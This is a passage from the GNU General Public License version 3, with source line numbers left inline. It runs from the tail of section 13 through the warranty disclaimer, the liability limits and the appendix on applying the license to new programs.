Notwithstanding any other provision of this License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU Affero General Public License into a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | {one line to give the program's name and a brief idea of what it does.} 635 | Copyright (C) {year} {name of author} 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | {project} Copyright (C) {year} {fullname} 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | --------------------------------------------------------------------------------